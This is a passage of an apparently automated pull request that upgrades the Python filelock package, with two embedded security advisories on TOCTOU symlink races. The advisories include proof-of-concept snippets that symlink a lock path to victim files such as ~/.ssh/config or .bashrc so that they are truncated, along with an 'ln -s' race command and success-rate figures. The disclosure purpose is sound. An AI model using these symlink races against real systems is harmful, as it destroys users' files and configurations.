(TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - 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This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: 